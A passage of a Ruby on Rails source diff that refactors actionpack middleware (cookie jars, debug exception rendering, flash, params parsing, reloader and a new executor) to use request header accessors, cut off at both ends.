&block) + ActiveSupport::Reloader.to_complete(*args, &block) + end + + deprecate to_prepare: 'use ActiveSupport::Reloader.to_prepare instead', + to_cleanup: 'use ActiveSupport::Reloader.to_complete instead' def before(*args, &block) set_callback(:call, :before, *args, &block) diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb index b7687ca100..f2f3150b56 100644 --- a/actionpack/lib/action_dispatch/middleware/cookies.rb +++ b/actionpack/lib/action_dispatch/middleware/cookies.rb @@ -1,15 +1,64 @@ require 'active_support/core_ext/hash/keys' -require 'active_support/core_ext/module/attribute_accessors' -require 'active_support/core_ext/object/blank' require 'active_support/key_generator' require 'active_support/message_verifier' require 'active_support/json' +require 'rack/utils' module ActionDispatch - class Request < Rack::Request + class Request def cookie_jar - env['action_dispatch.cookies'] ||= Cookies::CookieJar.build(self) + fetch_header('action_dispatch.cookies'.freeze) do + self.cookie_jar = Cookies::CookieJar.build(self, cookies) + end + end + + # :stopdoc: + prepend Module.new { + def commit_cookie_jar! + cookie_jar.commit! + end + } + + def have_cookie_jar? + has_header? 'action_dispatch.cookies'.freeze + end + + def cookie_jar=(jar) + set_header 'action_dispatch.cookies'.freeze, jar + end + + def key_generator + get_header Cookies::GENERATOR_KEY + end + + def signed_cookie_salt + get_header Cookies::SIGNED_COOKIE_SALT + end + + def encrypted_cookie_salt + get_header Cookies::ENCRYPTED_COOKIE_SALT + end + + def encrypted_signed_cookie_salt + get_header Cookies::ENCRYPTED_SIGNED_COOKIE_SALT end + + def secret_token + get_header Cookies::SECRET_TOKEN + end + + def secret_key_base + get_header Cookies::SECRET_KEY_BASE + end + + def cookies_serializer + get_header Cookies::COOKIES_SERIALIZER + end + + def cookies_digest + get_header Cookies::COOKIES_DIGEST + end + # :startdoc: end # \Cookies are read and written through ActionController#cookies. @@ -35,6 +84,12 @@ module ActionDispatch # # It can be read using the signed method `cookies.signed[:name]` # cookies.signed[:user_id] = current_user.id # + # # Sets an encrypted cookie value before sending it to the client which + # # prevent users from reading and tampering with its value. + # # The cookie is signed by your app's `secrets.secret_key_base` value. + # # It can be read using the encrypted method `cookies.encrypted[:name]` + # cookies.encrypted[:discount] = 45 + # # # Sets a "permanent" cookie (which expires in 20 years from now). # cookies.permanent[:login] = "XJ-122" # @@ -47,6 +102,7 @@ module ActionDispatch # cookies.size # => 2 # JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37] # cookies.signed[:login] # => "XJ-122" + # cookies.encrypted[:discount] # => 45 # # Example for deleting: # @@ -79,6 +135,9 @@ module ActionDispatch # domain: %w(.example.com .example.org) # Allow the cookie # # for concrete domain names. # + # * <tt>:tld_length</tt> - When using <tt>:domain => :all</tt>, this option can be used to explicitly + # set the TLD length when using a short (<= 3 character) domain that is being interpreted as part of a TLD. + # For example, to share cookies between user1.lvh.me and user2.lvh.me, set <tt>:tld_length</tt> to 1. # * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object. # * <tt>:secure</tt> - Whether this cookie is only transmitted to HTTPS servers. # Default is +false+. @@ -115,7 +174,7 @@ module ActionDispatch # cookies.permanent.signed[:remember_me] = current_user.id # # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT def permanent - @permanent ||= PermanentCookieJar.new(self, @key_generator, @options) + @permanent ||= PermanentCookieJar.new(self) end # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from @@ -135,10 +194,10 @@ module ActionDispatch # cookies.signed[:discount] # => 45 def signed @signed ||= - if @options[:upgrade_legacy_signed_cookies] - UpgradeLegacySignedCookieJar.new(self, @key_generator, @options) + if upgrade_legacy_signed_cookies? + UpgradeLegacySignedCookieJar.new(self) else - SignedCookieJar.new(self, @key_generator, @options) + SignedCookieJar.new(self) end end @@ -158,10 +217,10 @@ module ActionDispatch # cookies.encrypted[:discount] # => 45 def encrypted @encrypted ||= - if @options[:upgrade_legacy_signed_cookies] - UpgradeLegacyEncryptedCookieJar.new(self, @key_generator, @options) + if upgrade_legacy_signed_cookies? + UpgradeLegacyEncryptedCookieJar.new(self) else - EncryptedCookieJar.new(self, @key_generator, @options) + EncryptedCookieJar.new(self) end end @@ -169,22 +228,28 @@ module ActionDispatch # Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores. def signed_or_encrypted @signed_or_encrypted ||= - if @options[:secret_key_base].present? + if request.secret_key_base.present? encrypted else signed end end + + private + + def upgrade_legacy_signed_cookies? + request.secret_token.present? && request.secret_key_base.present? + end end # Passing the ActiveSupport::MessageEncryptor::NullSerializer downstream # to the Message{Encryptor,Verifier} allows us to handle the # (de)serialization step within the cookie jar, which gives us the # opportunity to detect and migrate legacy cookies. - module VerifyAndUpgradeLegacySignedMessage + module VerifyAndUpgradeLegacySignedMessage # :nodoc: def initialize(*args) super - @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token], serializer: ActiveSupport::MessageEncryptor::NullSerializer) + @legacy_verifier = ActiveSupport::MessageVerifier.new(request.secret_token, serializer: ActiveSupport::MessageEncryptor::NullSerializer) end def verify_and_upgrade_legacy_signed_message(name, signed_message) @@ -194,6 +259,11 @@ module ActionDispatch rescue ActiveSupport::MessageVerifier::InvalidSignature nil end + + private + def parse(name, signed_message) + super || verify_and_upgrade_legacy_signed_message(name, signed_message) + end end class CookieJar #:nodoc: @@ -213,38 +283,18 @@ module ActionDispatch # $& => example.local DOMAIN_REGEXP = /[^.]*\.([^.]*|..\...|...\...)$/ - def self.options_for_env(env) #:nodoc: - { signed_cookie_salt: env[SIGNED_COOKIE_SALT] || '', - encrypted_cookie_salt: env[ENCRYPTED_COOKIE_SALT] || '', - encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT] || '', - secret_token: env[SECRET_TOKEN], - secret_key_base: env[SECRET_KEY_BASE], - upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?, - serializer: env[COOKIES_SERIALIZER], - digest: env[COOKIES_DIGEST] - } - end - - def self.build(request) - env = request.env - key_generator = env[GENERATOR_KEY] - options = options_for_env env - - host = request.host - secure = request.ssl? - - new(key_generator, host, secure, options).tap do |hash| - hash.update(request.cookies) + def self.build(req, cookies) + new(req).tap do |hash| + hash.update(cookies) end end - def initialize(key_generator, host = nil, secure = false, options = {}) - @key_generator = key_generator + attr_reader :request + + def initialize(request) @set_cookies = {} @delete_cookies = {} - @host = host - @secure = secure - @options = options + @request = request @cookies = {} @committed = false end @@ -280,6 +330,17 @@ module ActionDispatch self end + def update_cookies_from_jar + request_jar = @request.cookie_jar.instance_variable_get(:@cookies) + set_cookies = request_jar.reject { |k,_| @delete_cookies.key?(k) } + + @cookies.update set_cookies if set_cookies + end + + def to_header + @cookies.map { |k,v| "#{escape(k)}=#{escape(v)}" }.join '; ' + end + def handle_options(options) #:nodoc: options[:path] ||= "/" @@ -289,12 +350,12 @@ module ActionDispatch # if host is not ip and matches domain regexp # (ip confirms to domain regexp so we explicitly check for ip) - options[:domain] = if (@host !~ /^[\d.]+$/) && (@host =~ domain_regexp) + options[:domain] = if (request.host !~ /^[\d.]+$/) && (request.host =~ domain_regexp) ".#{$&}" end elsif options[:domain].is_a? Array # if host matches one of the supplied domains without a dot in front of it - options[:domain] = options[:domain].find {|domain| @host.include? domain.sub(/^\./, '') } + options[:domain] = options[:domain].find {|domain| request.host.include? domain.sub(/^\./, '') } end end @@ -349,50 +410,78 @@ module ActionDispatch end def write(headers) - @set_cookies.each { |k, v| ::Rack::Utils.set_cookie_header!(headers, k, v) if write_cookie?(v) } - @delete_cookies.each { |k, v| ::Rack::Utils.delete_cookie_header!(headers, k, v) } - end - - def recycle! #:nodoc: - @set_cookies = {} - @delete_cookies = {} + if header = make_set_cookie_header(headers[HTTP_HEADER]) + headers[HTTP_HEADER] = header + end end mattr_accessor :always_write_cookie self.always_write_cookie = false private - def write_cookie?(cookie) - @secure || !cookie[:secure] || always_write_cookie - end + + def escape(string) + ::Rack::Utils.escape(string) + end + + def make_set_cookie_header(header) + header = @set_cookies.inject(header) { |m, (k, v)| + if write_cookie?(v) + ::Rack::Utils.add_cookie_to_header(m, k, v) + else + m + end + } + @delete_cookies.inject(header) { |m, (k, v)| + ::Rack::Utils.add_remove_cookie_to_header(m, k, v) + } + end + + def write_cookie?(cookie) + request.ssl? || !cookie[:secure] || always_write_cookie + end end - class PermanentCookieJar #:nodoc: + class AbstractCookieJar # :nodoc: include ChainedCookieJars - def initialize(parent_jar, key_generator, options = {}) + def initialize(parent_jar) @parent_jar = parent_jar - @key_generator = key_generator - @options = options end def [](name) - @parent_jar[name.to_s] + if data = @parent_jar[name.to_s] + parse name, data + end end def []=(name, options) if options.is_a?(Hash) options.symbolize_keys! else - options = { :value => options } + options = { value: options } end - options[:expires] = 20.years.from_now + commit(options) @parent_jar[name] = options end + + protected + def request; @parent_jar.request; end + + private + def parse(name, data); data; end + def commit(options); end end - class JsonSerializer + class PermanentCookieJar < AbstractCookieJar # :nodoc: + private + def commit(options) + options[:expires] = 20.years.from_now + end + end + + class JsonSerializer # :nodoc: def self.load(value) ActiveSupport::JSON.decode(value) end @@ -402,12 +491,12 @@ module ActionDispatch end end - module SerializedCookieJars + module SerializedCookieJars # :nodoc: MARSHAL_SIGNATURE = "\x04\x08".freeze protected def needs_migration?(value) - @options[:serializer] == :hybrid && value.start_with?(MARSHAL_SIGNATURE) + request.cookies_serializer == :hybrid && value.start_with?(MARSHAL_SIGNATURE) end def serialize(value) @@ -427,7 +516,7 @@ module ActionDispatch end def serializer - serializer = @options[:serializer] || :marshal + serializer = request.cookies_serializer || :marshal case serializer when :marshal Marshal @@ -439,103 +528,71 @@ module ActionDispatch end def digest - @options[:digest] || 'SHA1' + request.cookies_digest || 'SHA1' + end + + def key_generator + request.key_generator end end - class SignedCookieJar #:nodoc: - include ChainedCookieJars + class SignedCookieJar < AbstractCookieJar # :nodoc: include SerializedCookieJars - def initialize(parent_jar, key_generator, options = {}) - @parent_jar = parent_jar - @options = options - secret = key_generator.generate_key(@options[:signed_cookie_salt]) + def initialize(parent_jar) + super + secret = key_generator.generate_key(request.signed_cookie_salt) @verifier = ActiveSupport::MessageVerifier.new(secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer) end - def [](name) - if signed_message = @parent_jar[name] - deserialize name, verify(signed_message) + private + def parse(name, signed_message) + deserialize name, @verifier.verified(signed_message) end - end - def []=(name, options) - if options.is_a?(Hash) - options.symbolize_keys! + def commit(options) options[:value] = @verifier.generate(serialize(options[:value])) - else - options = { :value => @verifier.generate(serialize(options)) } - end - - raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE - @parent_jar[name] = options - end - private - def verify(signed_message) - @verifier.verify(signed_message) - rescue ActiveSupport::MessageVerifier::InvalidSignature - nil + raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE end end # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if # secrets.secret_token and secrets.secret_key_base are both set. It reads - # legacy cookies signed with the old dummy key generator and re-saves - # them using the new key generator to provide a smooth upgrade path. + # legacy cookies signed with the old dummy key generator and signs and + # re-saves them using the new key generator to provide a smooth upgrade path. class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc: include VerifyAndUpgradeLegacySignedMessage - - def [](name) - if signed_message = @parent_jar[name] - deserialize(name, verify(signed_message)) || verify_and_upgrade_legacy_signed_message(name, signed_message) - end - end end - class EncryptedCookieJar #:nodoc: - include ChainedCookieJars + class EncryptedCookieJar < AbstractCookieJar # :nodoc: include SerializedCookieJars - def initialize(parent_jar, key_generator, options = {}) + def initialize(parent_jar) + super + if ActiveSupport::LegacyKeyGenerator === key_generator raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " + "Read the upgrade documentation to learn more about this new config option." end - @parent_jar = parent_jar - @options = options - secret = key_generator.generate_key(@options[:encrypted_cookie_salt]) - sign_secret = key_generator.generate_key(@options[:encrypted_signed_cookie_salt]) + secret = key_generator.generate_key(request.encrypted_cookie_salt || '') + sign_secret = key_generator.generate_key(request.encrypted_signed_cookie_salt || '') @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer) end - def [](name) - if encrypted_message = @parent_jar[name] - deserialize name, decrypt_and_verify(encrypted_message) - end - end - - def []=(name, options) - if options.is_a?(Hash) - options.symbolize_keys! - else - options = { :value => options } - end - - options[:value] = @encryptor.encrypt_and_sign(serialize(options[:value])) - - raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE - @parent_jar[name] = options - end - private - def decrypt_and_verify(encrypted_message) - @encryptor.decrypt_and_verify(encrypted_message) + def parse(name, encrypted_message) + deserialize name, @encryptor.decrypt_and_verify(encrypted_message) rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage nil end + + def commit(options) + options[:value] = @encryptor.encrypt_and_sign(serialize(options[:value])) + + raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE + end end # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore @@ -544,12 +601,6 @@ module ActionDispatch # encrypts and re-saves them using the new key generator to provide a smooth upgrade path. class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc: include VerifyAndUpgradeLegacySignedMessage - - def [](name) - if encrypted_or_signed_message = @parent_jar[name] - deserialize(name, decrypt_and_verify(encrypted_or_signed_message)) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message) - end - end end def initialize(app) @@ -557,9 +608,12 @@ module ActionDispatch end def call(env) + request = ActionDispatch::Request.new env + status, headers, body = @app.call(env) - if cookie_jar = env['action_dispatch.cookies'] + if request.have_cookie_jar? + cookie_jar = request.cookie_jar unless cookie_jar.committed? cookie_jar.write(headers) if headers[HTTP_HEADER].respond_to?(:join) diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb index 9082aac271..5f758d641a 100644 --- a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb +++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb @@ -38,12 +38,14 @@ module ActionDispatch end end - def initialize(app, routes_app = nil) - @app = app - @routes_app = routes_app + def initialize(app, routes_app = nil, response_format = :default) + @app = app + @routes_app = routes_app + @response_format = response_format end def call(env) + request = ActionDispatch::Request.new env _, headers, body = response = @app.call(env) if headers['X-Cascade'] == 'pass' @@ -53,61 +55,99 @@ module ActionDispatch response rescue Exception => exception - raise exception if env['action_dispatch.show_exceptions'] == false - render_exception(env, exception) + raise exception unless request.show_exceptions? + render_exception(request, exception) end private - def render_exception(env, exception) - wrapper = ExceptionWrapper.new(env, exception) - log_error(env, wrapper) + def render_exception(request, exception) + backtrace_cleaner = request.get_header('action_dispatch.backtrace_cleaner') + wrapper = ExceptionWrapper.new(backtrace_cleaner, exception) + log_error(request, wrapper) - if env['action_dispatch.show_detailed_exceptions'] - request = Request.new(env) - traces = wrapper.traces + if request.get_header('action_dispatch.show_detailed_exceptions') + content_type = request.formats.first - trace_to_show = 'Application Trace' - if traces[trace_to_show].empty? && wrapper.rescue_template != 'routing_error' - trace_to_show = 'Full Trace' - end - - if source_to_show = traces[trace_to_show].first - source_to_show_id = source_to_show[:id] - end - - template = DebugView.new([RESCUES_TEMPLATE_PATH], - request: request, - exception: wrapper.exception, - traces: traces, - show_source_idx: source_to_show_id, - trace_to_show: trace_to_show, - routes_inspector: routes_inspector(exception), - source_extracts: wrapper.source_extracts, - line_number: wrapper.line_number, - file: wrapper.file - ) - file = "rescues/#{wrapper.rescue_template}" - - if request.xhr? - body = template.render(template: file, layout: false, formats: [:text]) - format = "text/plain" + if api_request?(content_type) + render_for_api_request(content_type, wrapper) else - body = template.render(template: file, layout: 'rescues/layout') - format = "text/html" + render_for_browser_request(request, wrapper) end - render(wrapper.status_code, body, format) else raise exception end end + def render_for_browser_request(request, wrapper) + template = create_template(request, wrapper) + file = "rescues/#{wrapper.rescue_template}" + + if request.xhr? + body = template.render(template: file, layout: false, formats: [:text]) + format = "text/plain" + else + body = template.render(template: file, layout: 'rescues/layout') + format = "text/html" + end + render(wrapper.status_code, body, format) + end + + def render_for_api_request(content_type, wrapper) + body = { + status: wrapper.status_code, + error: Rack::Utils::HTTP_STATUS_CODES.fetch( + wrapper.status_code, + Rack::Utils::HTTP_STATUS_CODES[500] + ), + exception: wrapper.exception.inspect, + traces: wrapper.traces + } + + to_format = "to_#{content_type.to_sym}" + + if content_type && body.respond_to?(to_format) + formatted_body = body.public_send(to_format) + format = content_type + else + formatted_body = body.to_json + format = Mime[:json] + end + + render(wrapper.status_code, formatted_body, format) + end + + def create_template(request, wrapper) + traces = wrapper.traces + + trace_to_show = 'Application Trace' + if traces[trace_to_show].empty? && wrapper.rescue_template != 'routing_error' + trace_to_show = 'Full Trace' + end + + if source_to_show = traces[trace_to_show].first + source_to_show_id = source_to_show[:id] + end + + DebugView.new([RESCUES_TEMPLATE_PATH], + request: request, + exception: wrapper.exception, + traces: traces, + show_source_idx: source_to_show_id, + trace_to_show: trace_to_show, + routes_inspector: routes_inspector(wrapper.exception), + source_extracts: wrapper.source_extracts, + line_number: wrapper.line_number, + file: wrapper.file + ) + end + def render(status, body, format) [status, {'Content-Type' => "#{format}; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]] end - def log_error(env, wrapper) - logger = logger(env) + def log_error(request, wrapper) + logger = logger(request) return unless logger exception = wrapper.exception @@ -116,15 +156,20 @@ module ActionDispatch trace = wrapper.framework_trace if trace.empty? ActiveSupport::Deprecation.silence do - message = "\n#{exception.class} (#{exception.message}):\n" - message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code) - message << " " << trace.join("\n ") - logger.fatal("#{message}\n\n") + logger.fatal " " + logger.fatal "#{exception.class} (#{exception.message}):" + log_array logger, exception.annoted_source_code if exception.respond_to?(:annoted_source_code) + logger.fatal " " + log_array logger, trace end end - def logger(env) - env['action_dispatch.logger'] || stderr_logger + def log_array(logger, array) + array.map { |line| logger.fatal line } + end + + def logger(request) + request.logger || ActionView::Base.logger || stderr_logger end def stderr_logger @@ -136,5 +181,9 @@ module ActionDispatch ActionDispatch::Routing::RoutesInspector.new(@routes_app.routes.routes) end end + + def api_request?(content_type) + @response_format == :api && !content_type.html? + end end end diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb index d176a73633..59edc66086 100644 --- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb +++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb @@ -1,4 +1,3 @@ -require 'action_controller/metal/exceptions' require 'active_support/core_ext/module/attribute_accessors' require 'rack/utils' @@ -17,7 +16,9 @@ module ActionDispatch 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity, 'ActionDispatch::ParamsParser::ParseError' => :bad_request, 'ActionController::BadRequest' => :bad_request, - 'ActionController::ParameterMissing' => :bad_request + 'ActionController::ParameterMissing' => :bad_request, + 'Rack::Utils::ParameterTypeError' => :bad_request, + 'Rack::Utils::InvalidParameterError' => :bad_request ) cattr_accessor :rescue_templates @@ -29,13 +30,13 @@ module ActionDispatch 'ActionView::Template::Error' => 'template_error' ) - attr_reader :env, :exception, :line_number, :file + attr_reader :backtrace_cleaner, :exception, :line_number, :file - def initialize(env, exception) - @env = env + def initialize(backtrace_cleaner, exception) + @backtrace_cleaner = backtrace_cleaner @exception = original_exception(exception) - expand_backtrace if exception.is_a?(SyntaxError) || exception.try(:original_exception).try(:is_a?, SyntaxError) + expand_backtrace if exception.is_a?(SyntaxError) || exception.cause.is_a?(SyntaxError) end def rescue_template @@ -59,7 +60,7 @@ module ActionDispatch end def traces - appplication_trace_with_ids = [] + application_trace_with_ids = [] framework_trace_with_ids = [] full_trace_with_ids = [] @@ -67,7 +68,7 @@ module ActionDispatch trace_with_id = { id: idx, trace: trace } if application_trace.include?(trace) - appplication_trace_with_ids << trace_with_id + application_trace_with_ids << trace_with_id else framework_trace_with_ids << trace_with_id end @@ -76,7 +77,7 @@ module ActionDispatch end { - "Application Trace" => appplication_trace_with_ids, + "Application Trace" => application_trace_with_ids, "Framework Trace" => framework_trace_with_ids, "Full Trace" => full_trace_with_ids } @@ -104,17 +105,13 @@ module ActionDispatch end def original_exception(exception) - if registered_original_exception?(exception) - exception.original_exception + if @@rescue_responses.has_key?(exception.cause.class.name) + exception.cause else exception end end - def registered_original_exception?(exception) - exception.respond_to?(:original_exception) && @@rescue_responses.has_key?(exception.original_exception.class.name) - end - def clean_backtrace(*args) if backtrace_cleaner backtrace_cleaner.clean(backtrace, *args) @@ -123,10 +120,6 @@ module ActionDispatch end end - def backtrace_cleaner - @backtrace_cleaner ||= @env['action_dispatch.backtrace_cleaner'] - end - def source_fragment(path, line) return unless Rails.respond_to?(:root) && Rails.root full_path = Rails.root.join(path) diff --git a/actionpack/lib/action_dispatch/middleware/executor.rb b/actionpack/lib/action_dispatch/middleware/executor.rb new file mode 100644 index 0000000000..06245b403b --- /dev/null +++ b/actionpack/lib/action_dispatch/middleware/executor.rb @@ -0,0 +1,19 @@ +require 'rack/body_proxy' + +module ActionDispatch + class Executor + def initialize(app, executor) + @app, @executor = app, executor + end + + def call(env) + state = @executor.run! + begin + response = @app.call(env) + returned = response << ::Rack::BodyProxy.new(response.pop) { state.complete! } + ensure + state.complete! unless returned + end + end + end +end diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb index 59639a010e..80703940ed 100644 --- a/actionpack/lib/action_dispatch/middleware/flash.rb +++ b/actionpack/lib/action_dispatch/middleware/flash.rb @@ -1,15 +1,6 @@ require 'active_support/core_ext/hash/keys' module ActionDispatch - class Request < Rack::Request - # Access the contents of the flash. Use <tt>flash["notice"]</tt> to - # read a notice you put there or <tt>flash["notice"] = "hello"</tt> - # to put a new one. - def flash - @env[Flash::KEY] ||= Flash::FlashHash.from_session_value(session["flash"]) - end - end - # The flash provides a way to pass temporary primitive-types (String, Array, Hash) between actions. Anything you place in the flash will be exposed # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create # action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can @@ -47,6 +38,45 @@ module ActionDispatch class Flash KEY = 'action_dispatch.request.flash_hash'.freeze + module RequestMethods + # Access the contents of the flash. Use <tt>flash["notice"]</tt> to + # read a notice you put there or <tt>flash["notice"] = "hello"</tt> + # to put a new one. + def flash + flash = flash_hash + return flash if flash + self.flash = Flash::FlashHash.from_session_value(session["flash"]) + end + + def flash=(flash) + set_header Flash::KEY, flash + end + + def flash_hash # :nodoc: + get_header Flash::KEY + end + + def commit_flash # :nodoc: + session = self.session || {} + flash_hash = self.flash_hash + + if flash_hash && (flash_hash.present? || session.key?('flash')) + session["flash"] = flash_hash.to_session_value + self.flash = flash_hash.dup + end + + if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?) + session.key?('flash') && session['flash'].nil? + session.delete('flash') + end + end + + def reset_session # :nodoc + super + self.flash = nil + end + end + class FlashNow #:nodoc: attr_accessor :flash @@ -103,7 +133,7 @@ module ActionDispatch def to_session_value #:nodoc: flashes_to_keep = @flashes.except(*@discard) return nil if flashes_to_keep.empty? - {'flashes' => flashes_to_keep} + { 'discard' => [], 'flashes' => flashes_to_keep } end def initialize(flashes = {}, discard = []) #:nodoc: @@ -258,25 +288,10 @@ module ActionDispatch end end - def initialize(app) - @app = app - end - - def call(env) - @app.call(env) - ensure - session = Request::Session.find(env) || {} - flash_hash = env[KEY] - - if flash_hash && (flash_hash.present? || session.key?('flash')) - session["flash"] = flash_hash.to_session_value - env[KEY] = flash_hash.dup - end + def self.new(app) app; end + end - if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?) - session.key?('flash') && session['flash'].nil? - session.delete('flash') - end - end + class Request + prepend Flash::RequestMethods end end diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb index 29d43faeed..faf3262b8f 100644 --- a/actionpack/lib/action_dispatch/middleware/params_parser.rb +++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb @@ -1,60 +1,46 @@ -require 'active_support/core_ext/hash/conversions' require 'action_dispatch/http/request' -require 'active_support/core_ext/hash/indifferent_access' module ActionDispatch + # ActionDispatch::ParamsParser works for all the requests having any Content-Length + # (like POST). It takes raw data from the request and puts it through the parser + # that is picked based on Content-Type header. + # + # In case of any error while parsing data ParamsParser::ParseError is raised. class ParamsParser + # Raised when raw data from the request cannot be parsed by the parser + # defined for request's content mime type. class ParseError < StandardError - attr_reader :original_exception - def initialize(message, original_exception) - super(message) - @original_exception = original_exception - end - end - - DEFAULT_PARSERS = { Mime::JSON => :json } - - def initialize(app, parsers = {}) - @app, @parsers = app, DEFAULT_PARSERS.merge(parsers) - end - - def call(env) - if params = parse_formatted_parameters(env) - env["action_dispatch.request.request_parameters"] = params - end - - @app.call(env) - end - - private - def parse_formatted_parameters(env) - request = Request.new(env) - - return false if request.content_length.zero? - - strategy = @parsers[request.content_mime_type] - - return false unless strategy + def initialize(message = nil, original_exception = nil) + if message + ActiveSupport::Deprecation.warn("Passing #message is deprecated and has no effect. " \ + "#{self.class} will automatically capture the message " \ + "of the original exception.", caller) + end - case strategy - when Proc - strategy.call(request.raw_post) - when :json - data = ActiveSupport::JSON.decode(request.raw_post) - data = {:_json => data} unless data.is_a?(Hash) - Request::Utils.deep_munge(data).with_indifferent_access - else - false + if original_exception + ActiveSupport::Deprecation.warn("Passing #original_exception is deprecated and has no effect. " \ + "Exceptions will automatically capture the original exception.", caller) end - rescue => e # JSON or Ruby code block errors - logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}" - raise ParseError.new(e.message, e) + super($!.message) end - def logger(env) - env['action_dispatch.logger'] || ActiveSupport::Logger.new($stderr) + def original_exception + ActiveSupport::Deprecation.warn("#original_exception is deprecated. Use #cause instead.", caller) + cause end + end + + # Create a new +ParamsParser+ middleware instance. + # + # The +parsers+ argument can take Hash of parsers where key is identifying + # content mime type, and value is a lambda that is going to process data. + def self.new(app, parsers = {}) + ActiveSupport::Deprecation.warn('ActionDispatch::ParamsParser is deprecated and will be removed in Rails 5.1. Configure the parameter parsing in ActionDispatch::Request.parameter_parsers.') + parsers = parsers.transform_keys { |key| key.respond_to?(:symbol) ? key.symbol : key } + ActionDispatch::Request.parameter_parsers = ActionDispatch::Request::DEFAULT_PARSERS.merge(parsers) + app + end end end diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb index 040cb215b7..0f27984550 100644 --- a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb +++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb @@ -17,10 +17,10 @@ module ActionDispatch end def call(env) - status = env["PATH_INFO"][1..-1] request = ActionDispatch::Request.new(env) + status = request.path_info[1..-1].to_i content_type = request.formats.first - body = { :status => status, :error => Rack::Utils::HTTP_STATUS_CODES.fetch(status.to_i, Rack::Utils::HTTP_STATUS_CODES[500]) } + body = { :status => status, :error => Rack::Utils::HTTP_STATUS_CODES.fetch(status, Rack::Utils::HTTP_STATUS_CODES[500]) } render(status, content_type, body) end diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb index 15b5a48535..112bde6596 100644 --- a/actionpack/lib/action_dispatch/middleware/reloader.rb +++ b/actionpack/lib/action_dispatch/middleware/reloader.rb @@ -1,5 +1,3 @@ -require 'active_support/deprecation/reporting' - module ActionDispatch # ActionDispatch::Reloader provides prepare and cleanup callbacks, # intended to assist with code reloading during development. @@ -11,9 +9,9 @@ module ActionDispatch # the response body. This is important for streaming responses such as the # following: # - # self.response_body = lambda { |response, output| + # self.response_body = -> (response, output) do # # code here which refers to application models - # } + # end # # Cleanup callbacks will not be called until after the response_body lambda # is evaluated, ensuring that it can refer to application models and other @@ -25,74 +23,32 @@ module ActionDispatch # middleware stack, but are executed only when <tt>ActionDispatch::Reloader.prepare!</tt> # or <tt>ActionDispatch::Reloader.cleanup!</tt> are called manually. # - class Reloader - include ActiveSupport::Callbacks - include ActiveSupport::Deprecation::Reporting - - define_callbacks :prepare - define_callbacks :cleanup - - # Add a prepare callback. Prepare callbacks are run before each request, prior - # to ActionDispatch::Callback's before callbacks. + class Reloader < Executor def self.to_prepare(*args, &block) - unless block_given? - warn "to_prepare without a block is deprecated. Please use a block" - end - set_callback(:prepare, *args, &block) + ActiveSupport::Reloader.to_prepare(*args, &block) end - # Add a cleanup callback. Cleanup callbacks are run after each request is - # complete (after #close is called on the response body). def self.to_cleanup(*args, &block) - unless block_given? - warn "to_cleanup without a block is deprecated. Please use a block" - end - set_callback(:cleanup, *args, &block) + ActiveSupport::Reloader.to_complete(*args, &block) end - # Execute all prepare callbacks. def self.prepare! - new(nil).prepare! + default_reloader.prepare! end - # Execute all cleanup callbacks. def self.cleanup! - new(nil).cleanup! - end - - def initialize(app, condition=nil) - @app = app - @condition = condition || lambda { true } - @validated = true - end - - def call(env) - @validated = @condition.call - prepare! - - response = @app.call(env) - response[2] = ::Rack::BodyProxy.new(response[2]) { cleanup! } - - response - rescue Exception - cleanup! - raise + default_reloader.reload! end - def prepare! #:nodoc: - run_callbacks :prepare if validated? - end + class << self + attr_accessor :default_reloader # :nodoc: - def cleanup! 